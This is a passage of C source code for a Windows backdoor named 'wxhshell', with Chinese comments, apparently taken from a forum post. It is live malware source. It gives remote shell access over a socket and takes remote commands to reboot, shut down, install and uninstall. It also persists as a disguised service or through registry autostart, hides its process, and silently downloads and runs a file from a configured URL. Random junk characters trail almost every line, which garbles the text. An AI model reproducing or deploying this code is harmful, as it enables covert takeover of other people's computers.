  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )Jjp^U3Ub  
  } qHub+"2  
  else { M*0^<e~]F  
U\P4ts  
    switch(cmd[0]) { v^ ^Ibv  
  zu1"`K3b  
  // 帮助 '6M6e(  
  case '?': { 486\a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X\m\yv}}  
    break; /F;2wT;  
  } &ww-t..  
  // 安装 xfeED^?  
  case 'i': { VFf;|PHS  
    if(Install()) Q2 !GWz$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f5*qlQJFz\  
    else ZR\N~.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C7dq=(p&  
    break; Q#3}AO  
    } @4y?XL(n  
  // 卸载 ,cNe-KJk  
  case 'r': { NVx>^5QV  
    if(Uninstall()) {N}az"T4f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); svmb~n&x6  
    else Ef`'r))  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B{)#A?Rh.  
    break; >T]9.`xhK  
    } DP),~8  
  // 显示 wxhshell 所在路径 X:UlL"G  
  case 'p': { ]owgsR  
    char svExeFile[MAX_PATH]; U3N d\b'0  
    strcpy(svExeFile,"\n\r"); 7<)H?;~;  
      strcat(svExeFile,ExeFile); )xy>:2!#Y  
        send(wsh,svExeFile,strlen(svExeFile),0); cjN)3L{  
    break; F\r"Y)|b=  
    } "d)Yq Q  
  // 重启 #ELe W3 S}  
  case 'b': { b\0>uU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B2kZ_4rB  
    if(Boot(REBOOT)) fx|d"VF[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t}k:wzZ@  
    else { f,yl'2{  
    closesocket(wsh); uaO.7QSwN  
    ExitThread(0); w8X5kk   
    } J>v[5FX+  
    break; Md~SzrU  
    } Z|C,HF+m.  
  // 关机 )>1}I_1j)  
  case 'd': { +UDt2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {`D]%eRO  
    if(Boot(SHUTDOWN)) ~Y`ys[Z m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F{jxs/~  
    else { J+t51B(a  
    closesocket(wsh); N~flao^  
    ExitThread(0); %w^*7Oi  
    } A{s -g>s  
    break; /C8}5)  
    } zd5=W"Y;]  
  // 获取shell {A==av  
  case 's': { 4wSZ'RTSR  
    CmdShell(wsh); _S{TjGZ&  
    closesocket(wsh); oW^x=pS9  
    ExitThread(0); oZ*?Uh*  
    break; \=WPJm`p  
  } nx%As  
  // 退出 tF),Sn|*  
  case 'x': { 2vpQ"e- A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RK.lz VaY  
    CloseIt(wsh); rY(7IX  
    break; _]5UuIMl  
    } PR"x&JG@  
  // 离开 fof}I:vO  
  case 'q': { Y#c439&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MtL<)?HQ  
    closesocket(wsh); %j^QK>%  
    WSACleanup(); @K!JE w\  
    exit(1); =u}~\ 'd  
    break; +A8q.-N G  
        } .T7CMkYt  
  } zd%f5L('  
  } iYBc4'X  
_OG9wi(Fpx  
  // 提示信息 )yyH_Ax2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [lML^CYQ  
} ZY,$oFdsi  
  } 'l(s)Oa{M:  
zI[<uvxzW`  
  return; D4c'6WGb@  
} f~W+Rt7o  
9_wDh0b~p  
// shell模块句柄 O^!ds  
int CmdShell(SOCKET sock) SLEOc OAmD  
{ Evj%$7H1L1  
STARTUPINFO si; SAq .W"ri  
ZeroMemory(&si,sizeof(si)); 8TpYt)]S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ((`\i=-o5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )&T 5 /+  
PROCESS_INFORMATION ProcessInfo; FDgo6x   
char cmdline[]="cmd"; t#(=$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WD\Yx~o  
  return 0; m4~ |z  
} '1DY5`i{  
Ml c_w19C9  
// 自身启动模式 a0)w/A&  
int StartFromService(void) O\f`+Q`0  
{ }IWt\a<d  
typedef struct Yr{hJGw[  
{ E+i(p+=4  
  DWORD ExitStatus; 8SRUqe[H]  
  DWORD PebBaseAddress; fNi&r0/-t  
  DWORD AffinityMask; ,ASNa^7/>  
  DWORD BasePriority; _'w:Sx?d7  
  ULONG UniqueProcessId; ,EHLW4v  
  ULONG InheritedFromUniqueProcessId; 0?ab'vYcp  
}   PROCESS_BASIC_INFORMATION; Jvc<j:{^w  
! $mY.uu  
PROCNTQSIP NtQueryInformationProcess; +w[ZMk  
gpyio1V>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  \xp0n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^f>c_[fR  
)U|V|yem'  
  HANDLE             hProcess; I`oJOLV  
  PROCESS_BASIC_INFORMATION pbi; %J-:%i  
y@v)kN)Y9\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @+t|Aa^g  
  if(NULL == hInst ) return 0; Fc[vs52  
rD21:1s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nGWy4rY2S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gdD|'h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W8QP6^lY  
R\ 8[6H  
  if (!NtQueryInformationProcess) return 0; ##''d||u  
ZRYlm$C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YGPb8!  
  if(!hProcess) return 0; :vIJ>6lIR  
<w}^Z}fpk&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .!<yTh  
p4IyKry,  
  CloseHandle(hProcess); @{RhO|UR  
Y$XzZ>VW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 68GH$ji  
if(hProcess==NULL) return 0; B.4e4%BBS  
}%}$h2:  
HMODULE hMod; o|d:rp!^  
char procName[255]; 9mk@\Gqqm  
unsigned long cbNeeded; 93D}0kp  
5JaLE5-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DqY"N ]  
l"JM%LV  
  CloseHandle(hProcess); @ NDcO,]  
K:-jn}i?/  
if(strstr(procName,"services")) return 1; // 以服务启动 ~D5FnN9  
]:@{tX 7c  
  return 0; // 注册表启动 6X9$T11Vc  
} |APOTQV  
c nv%J}wq  
// 主模块 ZzBaYoNy[0  
int StartWxhshell(LPSTR lpCmdLine) +}at#%1@  
{ _;^x^  
  SOCKET wsl; Oto8?4[n  
BOOL val=TRUE; O7IYg;  
  int port=0; g&$5!ifgi  
  struct sockaddr_in door; p @q20>^u  
5N>flQ  
  if(wscfg.ws_autoins) Install(); \C~6 '  
c}$>UhLe  
port=atoi(lpCmdLine); h{o,*QL  
`+(n+QS _  
if(port<=0) port=wscfg.ws_port; hj"JmF$m  
kD+#|f  
  WSADATA data; Zs}h>$E5_B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PW%ith1)<  
-*[)CR-{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :RIqA/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d~_5Jx  
  door.sin_family = AF_INET; :9L}jz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yqK_|7I+  
  door.sin_port = htons(port); $X:,Q,?  
EP;ts  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `K0.6i [p  
closesocket(wsl); ~X2 # z |  
return 1; ~)$R'=  
} VJ'-"8tY&  
&FRf-6/  
  if(listen(wsl,2) == INVALID_SOCKET) { }8l+Jd3"  
closesocket(wsl); 0Y* "RbG  
return 1; c"k nzB vy  
} n(z$u)Y  
  Wxhshell(wsl); XFs7kTY  
  WSACleanup();  :Kyr}-  
_}j>  
return 0; ]3|h6KWq  
Pl|I{l*o(`  
} lMW6D0^  
?$;&DoE  
// 以NT服务方式启动 8hy1yt6t4~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "Ltp]nCR  
{ &<#1G u_  
DWORD   status = 0; ,0HID:&  
  DWORD   specificError = 0xfffffff; jX'pUO  
@|<nDd{2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k}kwr[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wp8-(E^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VIGLl'8p  
  serviceStatus.dwWin32ExitCode     = 0; =&-.]| t  
  serviceStatus.dwServiceSpecificExitCode = 0; ZR3sz/ulLd  
  serviceStatus.dwCheckPoint       = 0; :T6zT3(")D  
  serviceStatus.dwWaitHint       = 0; [`h,Ti!m<  
sX>|Y3S\U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vm*9xs  
  if (hServiceStatusHandle==0) return; h$~$a;2cR  
P*Jk 8MK#G  
status = GetLastError(); .ozBa778u  
  if (status!=NO_ERROR) >d .|I&  
{ _u_|U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ](-[ I#  
    serviceStatus.dwCheckPoint       = 0; v{lDEF@2^N  
    serviceStatus.dwWaitHint       = 0; v(O@~8(I  
    serviceStatus.dwWin32ExitCode     = status; @DM NL sQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; +LWgby4q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); # 6?2 2Os  
    return; WH $*\IGJL  
  } gQ '=mU  
?OO !M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `ALQSo~l  
  serviceStatus.dwCheckPoint       = 0; u0+<[Ia'q  
  serviceStatus.dwWaitHint       = 0; )('{q}JxV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Nt<Ac&6 s  
} WpI5C,3Z!l  
U!"RfRD.<  
// 处理NT服务事件,比如:启动、停止 S)2Uoj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hZe9Y?)  
{ 3PzF^8KJ  
switch(fdwControl) )086u8w )y  
{ bX`]<$dr3  
case SERVICE_CONTROL_STOP: xU.Ymq& 5  
  serviceStatus.dwWin32ExitCode = 0; *0a7H$iQ(]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S +73 /Vs  
  serviceStatus.dwCheckPoint   = 0; bw#\"uJ  
  serviceStatus.dwWaitHint     = 0; s5d[sx  
  { tUfze9m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8fWnKWbbjw  
  } blbzh';0}  
  return; 'i/"D8  
case SERVICE_CONTROL_PAUSE: nM$-L.dG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @M }`nKXM  
  break; u*Y!=IT  
case SERVICE_CONTROL_CONTINUE: 7V\M)r{q7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r_a1oO:  
  break; \gZjq]3  
case SERVICE_CONTROL_INTERROGATE: -Xgup,}?  
  break; 6l>016 x  
}; aJNsJIY+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ).C>>1ZC  
} k|_ >I  
 mxvV~X %  
// 标准应用程序主函数 a5g1.6hF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 79lG~BGE  
{ ?0E-Lac=  
"0"8Rp&V|  
// 获取操作系统版本 = U~\iJ  
OsIsNt=GetOsVer(); vs.}Bou]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LrV4^{9(  
V SH64  
  // 从命令行安装 FRE${~Xd  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?=Z0N&}[  
H&ZsMML/%  
  // 下载执行文件 '&xRb*  
if(wscfg.ws_downexe) { ZcN%F)htm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v".u#G'u  
  WinExec(wscfg.ws_filenam,SW_HIDE); n-lDE}K9%B  
} $J:~jY/J  
w\.z-6G  
if(!OsIsNt) { CH h6Mnw  
// 如果时win9x,隐藏进程并且设置为注册表启动 vr>Rd{dm  
HideProc(); dNs<`2m  
StartWxhshell(lpCmdLine); KI<Vvc m  
} BtWm ZaKi  
else j\@|oW0  
  if(StartFromService()) hRN>]e,!  
  // 以服务方式启动 oakm{I|k}  
  StartServiceCtrlDispatcher(DispatchTable); L@5g#mSl  
else Zo(QU5m0  
  // 普通方式启动 7\;gd4Ua1  
  StartWxhshell(lpCmdLine); obIYC  
h@ ?BA<'S  
return 0; RE:$c!E!  
}
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只看该作者 1 发表于: 2006-10-10
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